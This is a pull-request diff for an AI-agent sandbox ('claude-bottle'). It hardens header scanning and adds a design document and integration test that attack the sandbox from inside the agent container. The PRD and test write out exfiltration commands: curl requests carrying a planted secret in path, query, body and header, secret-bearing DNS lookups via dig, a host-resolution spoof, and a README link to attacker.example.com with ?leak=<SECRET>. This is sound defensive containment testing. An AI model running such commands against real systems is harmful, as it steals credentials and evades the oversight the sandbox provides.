docs(prd-0022): end-to-end sandbox-escape integration test #51
+1
-1
@@ -23,7 +23,7 @@ FROM node:22-slim
|
||||
# tool (curl itself, plus anything that shells out to it) works
|
||||
# against pipelock's bumped TLS without the agent needing local DNS.
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends git ca-certificates openssh-client socat curl \
|
||||
&& apt-get install -y --no-install-recommends git ca-certificates openssh-client socat curl dnsutils \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install claude-code globally. Pinned to the version verified in the v1
|
||||
|
||||
@@ -179,7 +179,19 @@ def pipelock_build_config(
|
||||
# built-in default for request_body_scanning is "warn" (forward
|
||||
# with a log line); claude-bottle hard-codes "block" so a hit
|
||||
# actually stops the request from leaving the egress network.
|
||||
cfg["request_body_scanning"] = {"action": "block"}
|
||||
#
|
||||
# `scan_headers: true` + `header_mode: all` extends the scan to
|
||||
# every request header — pipelock's default `header_mode:
|
||||
# sensitive` only checks Authorization / Cookie / X-Api-Key /
|
||||
# X-Token / Proxy-Authorization / X-Goog-Api-Key, which an
|
||||
# agent attempting to exfil could trivially avoid by picking
|
||||
# a non-sensitive header name. "all" closes the gap; pipelock
|
||||
# caps it at the same max_body_bytes the body scan uses.
|
||||
cfg["request_body_scanning"] = {
|
||||
"action": "block",
|
||||
"scan_headers": True,
|
||||
"header_mode": "all",
|
||||
}
|
||||
if ca_cert_path or ca_key_path:
|
||||
if not (ca_cert_path and ca_key_path):
|
||||
raise ValueError(
|
||||
@@ -230,6 +242,10 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
|
||||
lines.append("request_body_scanning:")
|
||||
rbs = cast(dict[str, object], cfg["request_body_scanning"])
|
||||
lines.append(f' action: "{rbs["action"]}"')
|
||||
if "scan_headers" in rbs:
|
||||
lines.append(f" scan_headers: {_bool(rbs['scan_headers'])}")
|
||||
if "header_mode" in rbs:
|
||||
lines.append(f' header_mode: "{rbs["header_mode"]}"')
|
||||
if "tls_interception" in cfg:
|
||||
lines.append("")
|
||||
lines.append("tls_interception:")
|
||||
|
||||
@@ -0,0 +1,487 @@
|
||||
# PRD 0022: End-to-end sandbox-escape integration test
|
||||
|
||||
- **Status:** Draft
|
||||
- **Author:** didericis
|
||||
- **Created:** 2026-05-26
|
||||
|
||||
## Summary
|
||||
|
||||
A new integration test, `tests/integration/test_sandbox_escape.py`,
|
||||
that brings up a real bottle with a known allowlist + a known
|
||||
in-bottle secret, then runs five attacks from inside the agent
|
||||
container and asserts each one fails. The five categories are
|
||||
the live cross-section of how the sandbox is supposed to be
|
||||
load-bearing:
|
||||
|
||||
1. Request to a non-allowlisted hostname
|
||||
2. Request to a non-allowlisted IP literal
|
||||
3. Secret exfiltration to an allowed dest via HTTP (URL path,
|
||||
query string, request body, request headers)
|
||||
4. Secret exfiltration to an allowed dest via crafted DNS
|
||||
(subdomain-encoded host)
|
||||
5. Secret exfiltration via a link inside a README pushed
|
||||
through git-gate
|
||||
|
||||
The suite is the backend-agnostic gate the smolmachines work
|
||||
has to pass before that backend can be considered a viable
|
||||
substitute for Docker. Today's Docker backend is the
|
||||
backend-under-test; the suite runs against whatever
|
||||
`CLAUDE_BOTTLE_BACKEND` resolves to.
|
||||
|
||||
## Problem
|
||||
|
||||
The sandbox today is a composition of layers (pipelock,
|
||||
egress, git-gate, `--internal` network, supervise) each tested
|
||||
in isolation but never as a whole. The supervise integration
|
||||
test exercises the MCP plumbing; `test_orphan_cleanup` covers
|
||||
the cleanup CLI; the per-sidecar integration tests bring up
|
||||
one sidecar at a time. None of them ask the operator-relevant
|
||||
question: **can an in-bottle agent get a secret out?**
|
||||
|
||||
That's the question every prospective backend has to answer
|
||||
before it can ship. Smolmachines (or any other VM-based
|
||||
backend) will reimplement the sidecar topology over a
|
||||
different runtime. Without a backend-agnostic test we'd be
|
||||
reading the layers' code by eye to confirm each new backend
|
||||
glues them correctly. The diff between "looks right" and
|
||||
"actually blocks exfil" is the whole point of the project.
|
||||
|
||||
## Goals / Success Criteria
|
||||
|
||||
The test suite passes when **every one of the five attacks
|
||||
fails** with a clear permissions-error signal:
|
||||
|
||||
1. **Hostname not in allowlist.** Agent's `curl
|
||||
https://evil.example.com/` returns non-200 (proxy
|
||||
rejection, connection error, or 403). The test asserts the
|
||||
exit code is non-zero AND the response body / stderr does
|
||||
not contain the upstream's actual response.
|
||||
|
||||
2. **IP literal not in allowlist.** Agent's `curl
|
||||
https://198.51.100.1/` (RFC 5737 documentation range) is
|
||||
blocked. Additionally tests `curl --resolve
|
||||
api.anthropic.com:443:198.51.100.1 https://api.anthropic.com/`
|
||||
to confirm the host header trick doesn't bypass DNS
|
||||
resolution.
|
||||
|
||||
3. **Secret in HTTP request to an allowed destination.** A
|
||||
known SECRET env var is planted in the bottle. The agent
|
||||
tries four shapes against the allowlisted destination:
|
||||
- Secret in URL path: `GET /v1/<SECRET>`
|
||||
- Secret in query string: `GET /v1/?leak=<SECRET>`
|
||||
- Secret in request body: `POST /v1/messages` with JSON
|
||||
containing the secret
|
||||
- Secret in request headers: `GET /v1/` with
|
||||
`X-Custom: <SECRET>`
|
||||
The test asserts pipelock's DLP body scanner rejects (3)
|
||||
and surfaces what (1)/(2)/(4) actually do — they may
|
||||
currently pass through (see open questions).
|
||||
|
||||
4. **Secret-bearing DNS subdomain to allowed dest's parent.**
|
||||
Agent runs `curl https://<SECRET>.api.anthropic.com/`. The
|
||||
hostname is constructed to look "under" an allowlisted
|
||||
apex but the SECRET payload leaks via the DNS query to
|
||||
whichever resolver pipelock/egress consults. The test
|
||||
asserts pipelock rejects the host BEFORE issuing the DNS
|
||||
query (host-allowlist matches the exact apex, not
|
||||
subdomains).
|
||||
|
||||
5. **Secret-bearing link in a PR README.** Agent edits
|
||||
`README.md` to include
|
||||
`[click](https://attacker.example.com/?leak=<SECRET>)`,
|
||||
commits, and `git push`es through git-gate. The pre-receive
|
||||
hook's gitleaks scan must reject the push because the
|
||||
secret matches one of gitleaks's bundled rules.
|
||||
|
||||
The "pass" condition is uniform across all five: the attack's
|
||||
exit code is non-zero AND the secret never reaches a network
|
||||
destination outside the bottle.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **Detecting exfiltration via side channels** — timing,
|
||||
cache state, error-message-length oracles. v1 covers the
|
||||
direct paths only.
|
||||
- **Asserting on specific error messages or HTTP status
|
||||
codes.** Each layer (pipelock / egress / git-gate /
|
||||
gitleaks) has its own rejection vocabulary. The test
|
||||
asserts on the OUTCOME (attack failed, no upstream traffic)
|
||||
not the WORDING.
|
||||
- **Testing the Docker backend's specific sandbox
|
||||
implementation in detail.** That's what the per-sidecar
|
||||
integration tests already do. This suite is composite: did
|
||||
the whole bottle prevent leakage, regardless of which layer
|
||||
caught it?
|
||||
- **A network-tap that confirms zero packets reached
|
||||
attacker.example.com.** Out of scope for v1; we trust the
|
||||
pipelock/egress error reporting and verify exit codes. If
|
||||
we want zero-packets confirmation later, a host-side
|
||||
iptables / pcap layer can extend the suite.
|
||||
- **Running against a backend that doesn't exist yet.** The
|
||||
suite is written against the abstract `BottleBackend` API
|
||||
via the existing `get_bottle_backend()` selector; future
|
||||
smolmachines work flips
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
smolmachines-specific code here.
|
||||
|
||||
## Scope
|
||||
|
||||
### In scope
|
||||
|
||||
- A new `tests/integration/test_sandbox_escape.py` with one
|
||||
TestSandboxEscape class and one `test_<n>_<category>`
|
||||
method per attack.
|
||||
- A test fixture that:
|
||||
- Builds a manifest with one bottle, one agent
|
||||
- The bottle declares: a few allowlisted egress routes
|
||||
(api.anthropic.com, etc.), a git-gate upstream pointing
|
||||
at a throwaway repo, supervise off (not under test)
|
||||
- Plants three known secret env vars (matching three
|
||||
gitleaks rules — anthropic-api-key, AWS, generic
|
||||
high-entropy) so test 5 parameterizes over shapes.
|
||||
- A `setUpClass` preflight that verifies `curl`, `git`,
|
||||
`dig` exist in the agent container; raises
|
||||
`unittest.SkipTest` listing missing tools if any are
|
||||
absent (catches future backends with thinner images).
|
||||
- A `_run_in_agent(script)` helper that wraps
|
||||
`bottle.exec(script)` and returns an `ExecResult`.
|
||||
- Assertions per category that read the existing
|
||||
`ExecResult.returncode` / `.stdout` / `.stderr`.
|
||||
|
||||
### Out of scope
|
||||
|
||||
- The per-attack remediation engines. If a category's
|
||||
assertion fails, the test is reporting a real gap — the
|
||||
remediation is its own PRD.
|
||||
- Running the suite as part of every PR's CI. v1 lives in
|
||||
`tests/integration/` and runs locally on demand; CI
|
||||
integration is a follow-up that has to weigh wall-clock
|
||||
cost (bringup is ~10s per test class).
|
||||
|
||||
## Proposed design
|
||||
|
||||
### Single fixture per attack class
|
||||
|
||||
`setUpClass` brings the bottle up once; `tearDownClass`
|
||||
brings it down. Per-test setup is cheap (resetting any
|
||||
secret-content-storage). The five attacks share the same
|
||||
bottle so the suite is ~15s wall-clock total instead of
|
||||
~50s with per-test bringup.
|
||||
|
||||
### Bottle manifest
|
||||
|
||||
```yaml
|
||||
# tests/integration/fixtures/sandbox-escape/agents/sandbox-tester.md
|
||||
---
|
||||
bottle: dev
|
||||
---
|
||||
|
||||
(no prompt — exec_claude isn't called)
|
||||
```
|
||||
|
||||
```yaml
|
||||
# tests/integration/fixtures/sandbox-escape/bottles/dev.md
|
||||
---
|
||||
env:
|
||||
- name: TEST_SECRET
|
||||
value: sk-ant-api03-fake-shape-but-realistic-length-for-gitleaks
|
||||
|
||||
egress:
|
||||
routes:
|
||||
- host: api.anthropic.com
|
||||
|
||||
git:
|
||||
- Name: throwaway
|
||||
Upstream: ssh://git@127.0.0.1:22/throwaway.git
|
||||
IdentityFile: ~/.ssh/cb-test-key # fixture key
|
||||
---
|
||||
```
|
||||
|
||||
`TEST_SECRET` is shaped like an Anthropic API key so
|
||||
gitleaks's `anthropic-api-key` rule fires on the README. We
|
||||
don't ship a real key; the prefix-pattern + length match the
|
||||
rule's regex.
|
||||
|
||||
The git upstream URL is unreachable on purpose — we want
|
||||
git-gate's pre-receive hook to reject the push BEFORE it
|
||||
tries to forward to a real upstream. The hook's gitleaks
|
||||
scan happens first.
|
||||
|
||||
### Per-attack scaffolding
|
||||
|
||||
Each test calls `bottle.exec(script)` (the existing
|
||||
`Bottle.exec` from `claude_bottle.backend.Bottle`) and
|
||||
asserts on the returncode + stdout + stderr.
|
||||
|
||||
The agent container has `curl`, `git`, `dig`, etc. pre-
|
||||
installed (already true today for the Docker bottle image).
|
||||
|
||||
### Attack-1: hostname not in allowlist
|
||||
|
||||
```python
|
||||
def test_1_hostname_not_in_allowlist(self):
|
||||
result = self.bottle.exec(
|
||||
'curl --silent --max-time 5 --fail '
|
||||
'https://evil.example.com/ ; echo "exit=$?"'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
# The attack's stdout should not contain anything from
|
||||
# evil.example.com — pipelock should have stopped it.
|
||||
self.assertNotIn("evil.example.com", result.stdout)
|
||||
self.assertIn("exit=", result.stdout)
|
||||
# extract the curl exit, assert non-zero
|
||||
...
|
||||
```
|
||||
|
||||
### Attack-2: IP literal not in allowlist
|
||||
|
||||
```python
|
||||
def test_2_ip_not_in_allowlist(self):
|
||||
# Direct IP
|
||||
result = self.bottle.exec(
|
||||
'curl --silent --max-time 5 --fail https://198.51.100.1/'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
# Host-header spoof
|
||||
result = self.bottle.exec(
|
||||
'curl --silent --max-time 5 --fail '
|
||||
'--resolve api.anthropic.com:443:198.51.100.1 '
|
||||
'https://api.anthropic.com/'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
```
|
||||
|
||||
### Attack-3: HTTP exfil shapes
|
||||
|
||||
Loop over four shapes (path / query / body / header),
|
||||
assert each one is blocked by either pipelock's DLP or
|
||||
egress's path-filter. Headers in particular may not be DLP-
|
||||
scanned today — surface that gap clearly if so.
|
||||
|
||||
```python
|
||||
SHAPES = [
|
||||
("path", 'curl -sf "https://api.anthropic.com/v1/$TEST_SECRET"'),
|
||||
("query", 'curl -sf "https://api.anthropic.com/v1/?leak=$TEST_SECRET"'),
|
||||
("body", 'curl -sf -X POST "https://api.anthropic.com/v1/messages" '
|
||||
'-H "Content-Type: application/json" '
|
||||
'-d "{\\"secret\\": \\"$TEST_SECRET\\"}"'),
|
||||
("header", 'curl -sf "https://api.anthropic.com/v1/" '
|
||||
'-H "X-Custom: $TEST_SECRET"'),
|
||||
]
|
||||
|
||||
def test_3_http_exfil_blocked(self):
|
||||
for name, cmd in SHAPES:
|
||||
with self.subTest(shape=name):
|
||||
result = self.bottle.exec(cmd)
|
||||
self.assertNotEqual(
|
||||
0, result.returncode,
|
||||
f"{name} exfil should have been blocked",
|
||||
)
|
||||
```
|
||||
|
||||
### Attack-4: DNS exfil — both crafted subdomain AND direct query
|
||||
|
||||
Two sub-assertions cover the two ways DNS can leak.
|
||||
|
||||
```python
|
||||
def test_4_dns_exfil_blocked(self):
|
||||
# 4a — crafted subdomain that pipelock would resolve.
|
||||
# Pipelock's exact-match allowlist rejects the host
|
||||
# before issuing the DNS query.
|
||||
result = self.bottle.exec(
|
||||
'curl --silent --max-time 5 --fail '
|
||||
'"https://$TEST_SECRET.api.anthropic.com/"'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
|
||||
# 4b — direct DNS query bypassing pipelock entirely.
|
||||
# The agent's --internal network has no default
|
||||
# gateway; even with an explicit resolver like 8.8.8.8
|
||||
# the query has nowhere to go.
|
||||
result = self.bottle.exec(
|
||||
'dig +time=3 +tries=1 @8.8.8.8 '
|
||||
'"$TEST_SECRET.example.com" || echo "dig exit=$?"'
|
||||
)
|
||||
# No successful answer.
|
||||
self.assertNotIn("ANSWER SECTION", result.stdout)
|
||||
```
|
||||
|
||||
### Attack-5: secret in README push (multi-shape, with ordering check)
|
||||
|
||||
Parameterized over three secret shapes so a renamed
|
||||
gitleaks rule doesn't silently let one shape through.
|
||||
|
||||
```python
|
||||
SECRET_SHAPES = [
|
||||
("anthropic", "$TEST_SECRET_ANTHROPIC"),
|
||||
("aws", "$TEST_SECRET_AWS"),
|
||||
("generic", "$TEST_SECRET_GENERIC"),
|
||||
]
|
||||
|
||||
def test_5_readme_push_blocked(self):
|
||||
for name, env_ref in SECRET_SHAPES:
|
||||
with self.subTest(secret=name):
|
||||
result = self.bottle.exec(
|
||||
'cd /tmp && rm -rf test-repo && '
|
||||
'git init test-repo && cd test-repo && '
|
||||
'git config user.email "test@example.com" && '
|
||||
'git config user.name "test" && '
|
||||
f'echo "[click](https://attacker.example.com/?leak={env_ref})" > README.md && '
|
||||
'git add . && git commit -m "leak" && '
|
||||
'git remote add origin '
|
||||
'git://claude-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git push origin master'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
combined = (result.stderr + result.stdout).lower()
|
||||
# gitleaks ran and rejected.
|
||||
self.assertIn("gitleaks", combined)
|
||||
# AND: rejection BEFORE the unreachable upstream
|
||||
# was contacted — network-phase errors would
|
||||
# mean gitleaks ran late or not at all.
|
||||
for upstream_phrase in (
|
||||
"could not resolve",
|
||||
"connection refused",
|
||||
"network is unreachable",
|
||||
"upstream",
|
||||
):
|
||||
self.assertNotIn(
|
||||
upstream_phrase, combined,
|
||||
f"unexpected upstream-phase phrase for {name!r}: "
|
||||
f"gitleaks should reject BEFORE git-gate "
|
||||
f"attempts an upstream push",
|
||||
)
|
||||
```
|
||||
|
||||
The `<slug>` is templated via the bottle's known identity at
|
||||
fixture-time. Each subTest independently:
|
||||
- Confirms the rejection happened (returncode != 0)
|
||||
- Confirms gitleaks fired (`"gitleaks"` in output)
|
||||
- Confirms gitleaks fired BEFORE the upstream attempt
|
||||
(no network-phase phrases in output)
|
||||
|
||||
## Implementation chunks
|
||||
|
||||
Sized small.
|
||||
|
||||
1. **Fixture + scaffolding.** Files under
|
||||
`tests/integration/fixtures/sandbox-escape/`, the
|
||||
TestSandboxEscape class with `setUpClass` /
|
||||
`tearDownClass`, the three-secret env-var fixture
|
||||
(anthropic / AWS / generic shapes), and the
|
||||
`setUpClass` preflight that checks for `curl`, `git`,
|
||||
`dig` in the agent and SkipTests with the missing list.
|
||||
No attack tests yet.
|
||||
2. **Attack 1 + 2 (hostname + IP).** Curl exit-code
|
||||
assertions. Also covers the host-header spoof via
|
||||
`curl --resolve`.
|
||||
3. **Attack 3 (HTTP exfil shapes).** Parameterized over
|
||||
the four shapes (path, query, body, header) via
|
||||
subTest. **This chunk is authoritative** — if any shape
|
||||
leaks today, the chunk expands to include the
|
||||
remediation PRD work for that shape before merging.
|
||||
May fan out into multiple sub-PRs (one per leaking
|
||||
shape) coordinated as a chunk-3 epic.
|
||||
4. **Attack 4 (DNS exfil).** Two sub-assertions:
|
||||
crafted-subdomain-via-pipelock + direct
|
||||
`dig @8.8.8.8` from the agent's `--internal` network.
|
||||
5. **Attack 5 (README push via git-gate).** Hardest
|
||||
because of the multi-secret-shape parameterization +
|
||||
git-gate-must-be-up requirement + the gitleaks-ordering
|
||||
assertions. The "throwaway" upstream URL is
|
||||
intentionally unreachable.
|
||||
|
||||
6. **CI integration (best-effort).** Add a Gitea Actions
|
||||
job that runs the suite against the Docker backend.
|
||||
Marked `continue-on-error: true` so the workflow
|
||||
doesn't fail if docker-in-docker constraints prevent
|
||||
compose-up. If the runner shape evolves later
|
||||
(privileged Docker socket access) the suite slots in
|
||||
cleanly.
|
||||
|
||||
## Resolved questions
|
||||
|
||||
1. **Pipelock DLP coverage for non-body shapes.** Resolved:
|
||||
**authoritative.** Every HTTP-exfil shape (path / query /
|
||||
body / header) MUST block for the suite to pass. If a
|
||||
shape leaks today, it's a real sandbox gap and the
|
||||
remediation lands BEFORE this test merges, not after.
|
||||
The project's purpose is sandbox integrity; shipping a
|
||||
test that documents "we knowingly leak headers" is
|
||||
worse than not shipping the test. May expand the
|
||||
delivery into "this test PRD + N remediation PRDs"
|
||||
depending on what attack 3 surfaces.
|
||||
|
||||
2. **DNS exfil via the agent's direct DNS resolver.**
|
||||
Resolved: **add the assertion to test 4.** The
|
||||
`--internal` network has no default gateway, so a direct
|
||||
`dig @8.8.8.8 <SECRET>.example.com` from the agent
|
||||
should fail. Test 4 grows a second sub-assertion
|
||||
alongside the crafted-subdomain-via-pipelock check.
|
||||
|
||||
3. **Realistic fake secret.** Resolved: **multiple
|
||||
shapes, parameterized.** The README attack (test 5)
|
||||
loops over a tuple of secret shapes — anthropic-api-key,
|
||||
AWS key (AKIA...), and a generic high-entropy string —
|
||||
running the push-attempt N times. Each iteration is a
|
||||
subTest. Catches the case where one gitleaks rule
|
||||
lapses but another still fires; also makes the test
|
||||
resilient to rule renames. The fixture bottle's env
|
||||
carries `TEST_SECRET_ANTHROPIC` / `TEST_SECRET_AWS` /
|
||||
`TEST_SECRET_GENERIC` rather than one combined
|
||||
`TEST_SECRET`.
|
||||
|
||||
4. **Reachability of throwaway git upstream + gitleaks
|
||||
ordering.** Resolved: **add ordering assertions to test 5.**
|
||||
The pre-receive hook MUST reject the push before
|
||||
git-gate ever attempts to forward to the (unreachable)
|
||||
upstream. Test 5 asserts:
|
||||
- `"gitleaks"` appears in the rejection output
|
||||
(gitleaks fired)
|
||||
- The rejection output does NOT contain phrases like
|
||||
`"could not resolve"`, `"connection refused"`,
|
||||
`"network is unreachable"`, or `"upstream"` — those
|
||||
would mean gitleaks let the push through and the
|
||||
failure happened later in the chain.
|
||||
|
||||
5. **CI vs. local-only.** Resolved: **attempt CI; accept
|
||||
local-only fallback if docker-in-docker blocks it.**
|
||||
Add a Gitea Actions job that runs the suite against the
|
||||
Docker backend on a runner with Docker socket access.
|
||||
If compose-up fails because of DiD constraints, the
|
||||
job is marked `continue-on-error: true` and the suite
|
||||
stays local-only until we have a runner shape that can
|
||||
host it.
|
||||
|
||||
6. **Backend-agnostic invocation when backend missing.**
|
||||
Resolved: **die (current behavior).** `get_bottle_backend()`
|
||||
already dies with a clear message naming the unknown
|
||||
backend; the test surfaces that as a hard error
|
||||
rather than a skip. Forces the developer to set
|
||||
`CLAUDE_BOTTLE_BACKEND` to a real implementation —
|
||||
surprise-skips on smolmachines branches that forgot to
|
||||
set the env var are worse than a loud failure.
|
||||
|
||||
7. **Test environment requirements: enforce via preflight.**
|
||||
Resolved: **preflight check in `setUpClass`.** After
|
||||
bringing the bottle up, run `which curl && which git
|
||||
&& which dig` inside the agent container; if any tool
|
||||
is missing, raise `unittest.SkipTest` with the missing
|
||||
list. Catches a future backend that ships a thinner
|
||||
base image without producing five confusing
|
||||
command-not-found failures down the suite.
|
||||
|
||||
## References
|
||||
|
||||
- PRD 0017 — egress-proxy + path-allowlist + auth injection
|
||||
(the layer test 3 + 4 stresses)
|
||||
- PRD 0014 / 0015 — pipelock / egress remediation flows (the
|
||||
surfaces the attacks would propose changes to if denied
|
||||
via the supervise route)
|
||||
- PRD 0008 — git-gate + pre-receive gitleaks (the layer
|
||||
test 5 stresses)
|
||||
- PRD 0018 — compose-per-instance (the topology the test
|
||||
brings up)
|
||||
- `tests/integration/test_supervise_sidecar.py` — the
|
||||
existing single-sidecar integration test pattern this
|
||||
suite generalizes
|
||||
@@ -0,0 +1,455 @@
|
||||
"""Integration: end-to-end sandbox-escape test (PRD 0022).
|
||||
|
||||
Brings up a real bottle with a known allowlist + planted secrets,
|
||||
then runs five attacks from inside the agent container and
|
||||
asserts each one is blocked:
|
||||
|
||||
1. Request to a non-allowlisted hostname
|
||||
2. Request to a non-allowlisted IP (incl. host-header spoof)
|
||||
3. Secret exfil via HTTP — path / query / body / header
|
||||
4. Secret exfil via crafted DNS subdomain + direct DNS query
|
||||
5. Secret exfil via README link pushed through git-gate
|
||||
|
||||
The suite is backend-agnostic — it goes through `get_bottle_backend()`
|
||||
so a future smolmachines backend can be tested by setting
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` without touching this file.
|
||||
|
||||
PRD 0022 chunk 1 (this commit): fixture + setUpClass +
|
||||
tearDownClass + preflight tool check. Attack tests land in
|
||||
subsequent chunks.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
|
||||
from claude_bottle.backend import BottleSpec, get_bottle_backend
|
||||
from claude_bottle.backend.docker.bottle_state import cleanup_state
|
||||
from claude_bottle.manifest import Manifest
|
||||
from tests._docker import skip_unless_docker
|
||||
|
||||
|
||||
# Three secret shapes that match gitleaks's bundled rules so the
|
||||
# README attack (test 5) exercises each rule independently. Format
|
||||
# matches the rule's regex; the bodies aren't real keys. Each lands
|
||||
# in the bottle's env as a literal so the agent can substitute via
|
||||
# `$TEST_SECRET_*`.
|
||||
_FAKE_SECRETS = {
|
||||
"TEST_SECRET_ANTHROPIC": (
|
||||
"sk-ant-api03-"
|
||||
"Aa1Bb2Cc3Dd4Ee5Ff6Gg7Hh8Ii9Jj0Kk1Ll2Mm3Nn4Oo5Pp6Qq7Rr8Ss9Tt0Uu1Vv2Ww3"
|
||||
"Xx4Yy5Zz6Aa7Bb8Cc9Dd0Ee1Ff2Gg3Hh4Ii5Jj6Kk7Ll8Mm9Nn0Oo1AAAA"
|
||||
),
|
||||
"TEST_SECRET_AWS": "AKIAIOSFODNN7EXAMPLE",
|
||||
"TEST_SECRET_GENERIC": "f9c4d8b27a31e6f5c89b40a7e2d1f3b6a8c5d2e9f7b4a1c8d6e3f0b9c7a4d2e1",
|
||||
}
|
||||
|
||||
|
||||
@skip_unless_docker()
|
||||
class TestSandboxEscape(unittest.TestCase):
|
||||
"""End-to-end attacks against a real bottle. The bottle stays
|
||||
up for the whole class — bringup is ~10-30s, so per-test
|
||||
bringup would dominate. Each attack runs against the same
|
||||
bottle via `bottle.exec(script)`."""
|
||||
|
||||
_key_path: Path = None # type: ignore[assignment]
|
||||
_stage_dir: Path = None # type: ignore[assignment]
|
||||
_launch_cm = None # backend.launch context manager
|
||||
_bottle = None
|
||||
_identity: str = ""
|
||||
|
||||
@classmethod
|
||||
def setUpClass(cls) -> None:
|
||||
# Throwaway "identity file" so the manifest's _validate_git_entries
|
||||
# passes (it only checks `os.path.isfile`, not that the content is
|
||||
# a real SSH key). Test 5 reaches gitleaks before any SSH attempt
|
||||
# anyway.
|
||||
fd, kp = tempfile.mkstemp(prefix="sandbox-test-key.")
|
||||
os.close(fd)
|
||||
cls._key_path = Path(kp)
|
||||
cls._key_path.write_text("placeholder\n")
|
||||
cls._key_path.chmod(0o600)
|
||||
|
||||
manifest = Manifest.from_json_obj({
|
||||
"bottles": {
|
||||
"dev": {
|
||||
# Three fake secrets — different shapes — land
|
||||
# in the agent's env via --env-file. The README
|
||||
# attack (chunk 5) parameterizes over these so a
|
||||
# renamed gitleaks rule doesn't silently let one
|
||||
# shape through.
|
||||
"env": dict(_FAKE_SECRETS),
|
||||
# Single allowlisted route. Attack 1 reaches for
|
||||
# `evil.example.com` (not on the list); attack 3
|
||||
# reaches THIS host with the secret embedded.
|
||||
"egress": {
|
||||
"routes": [{"host": "api.anthropic.com"}],
|
||||
},
|
||||
# git-gate sidecar so attack 5 can push. Upstream
|
||||
# is intentionally unreachable — the pre-receive
|
||||
# gitleaks hook must reject BEFORE git-gate
|
||||
# attempts the upstream push.
|
||||
"git": [{
|
||||
"Name": "throwaway",
|
||||
"Upstream": "ssh://git@unreachable.invalid:22/throwaway.git",
|
||||
"IdentityFile": str(cls._key_path),
|
||||
}],
|
||||
},
|
||||
},
|
||||
"agents": {
|
||||
"sandbox-tester": {
|
||||
"skills": [],
|
||||
"prompt": "",
|
||||
"bottle": "dev",
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
spec = BottleSpec(
|
||||
manifest=manifest,
|
||||
agent_name="sandbox-tester",
|
||||
copy_cwd=False,
|
||||
user_cwd=os.getcwd(),
|
||||
)
|
||||
|
||||
cls._stage_dir = Path(tempfile.mkdtemp(prefix="sandbox-escape-stage."))
|
||||
try:
|
||||
backend = get_bottle_backend()
|
||||
plan = backend.prepare(spec, stage_dir=cls._stage_dir)
|
||||
cls._identity = plan.slug
|
||||
|
||||
cls._launch_cm = backend.launch(plan)
|
||||
cls._bottle = cls._launch_cm.__enter__()
|
||||
except BaseException:
|
||||
cls._teardown_resources()
|
||||
raise
|
||||
|
||||
# Preflight: confirm the agent ships the tools the suite
|
||||
# depends on. catches a future backend that uses a thinner
|
||||
# base image without producing five confusing
|
||||
# command-not-found failures down the suite.
|
||||
missing: list[str] = []
|
||||
for tool in ("curl", "git", "dig"):
|
||||
r = cls._bottle.exec(f"command -v {tool} >/dev/null 2>&1")
|
||||
if r.returncode != 0:
|
||||
missing.append(tool)
|
||||
if missing:
|
||||
cls._teardown_resources()
|
||||
raise unittest.SkipTest(
|
||||
f"agent missing required tools: {', '.join(missing)} — "
|
||||
f"add them to the backend's base image"
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def tearDownClass(cls) -> None:
|
||||
cls._teardown_resources()
|
||||
|
||||
@classmethod
|
||||
def _teardown_resources(cls) -> None:
|
||||
# Tear down the launch context manager (compose down +
|
||||
# network removal) and reap the state dir + stage dir.
|
||||
# Idempotent — survives partial setUpClass failures.
|
||||
if cls._launch_cm is not None:
|
||||
try:
|
||||
cls._launch_cm.__exit__(None, None, None)
|
||||
except BaseException:
|
||||
pass
|
||||
cls._launch_cm = None
|
||||
cls._bottle = None
|
||||
if cls._identity:
|
||||
try:
|
||||
cleanup_state(cls._identity)
|
||||
except BaseException:
|
||||
pass
|
||||
cls._identity = ""
|
||||
if cls._stage_dir is not None:
|
||||
shutil.rmtree(cls._stage_dir, ignore_errors=True)
|
||||
cls._stage_dir = None # type: ignore[assignment]
|
||||
if cls._key_path is not None:
|
||||
try:
|
||||
cls._key_path.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
cls._key_path = None # type: ignore[assignment]
|
||||
|
||||
# ---- attack 1: non-allowlisted hostname --------------------------
|
||||
|
||||
def test_1_hostname_not_in_allowlist(self) -> None:
|
||||
"""`curl https://evil.example.com/` — host is not in
|
||||
`bottle.egress.routes` (only api.anthropic.com is). Pipelock
|
||||
or egress should reject the request with a non-200 response,
|
||||
and the actual upstream's content must not appear in stdout."""
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'https://evil.example.com/'
|
||||
)
|
||||
self.assertNotEqual(
|
||||
0, r.returncode,
|
||||
f"`curl evil.example.com` should have been blocked, "
|
||||
f"got returncode=0; stdout={r.stdout!r} stderr={r.stderr!r}",
|
||||
)
|
||||
|
||||
# ---- attack 2: non-allowlisted IP --------------------------------
|
||||
|
||||
def test_2_ip_not_in_allowlist(self) -> None:
|
||||
"""Two sub-attacks:
|
||||
2a — direct connect to a non-allowlisted IP literal
|
||||
(198.51.100.1 is RFC 5737 documentation range).
|
||||
2b — host-header spoof: tell curl to resolve an allowed
|
||||
hostname to a non-allowlisted IP. Pipelock should
|
||||
not honor the spoof (it does its own resolution)."""
|
||||
with self.subTest(attack="direct IP"):
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'https://198.51.100.1/'
|
||||
)
|
||||
self.assertNotEqual(
|
||||
0, r.returncode,
|
||||
f"direct IP request should have been blocked; "
|
||||
f"stdout={r.stdout!r} stderr={r.stderr!r}",
|
||||
)
|
||||
|
||||
with self.subTest(attack="host-header spoof"):
|
||||
r = self._bottle.exec(
|
||||
'curl --silent --show-error --max-time 8 --fail '
|
||||
'--resolve api.anthropic.com:443:198.51.100.1 '
|
||||
'https://api.anthropic.com/'
|
||||
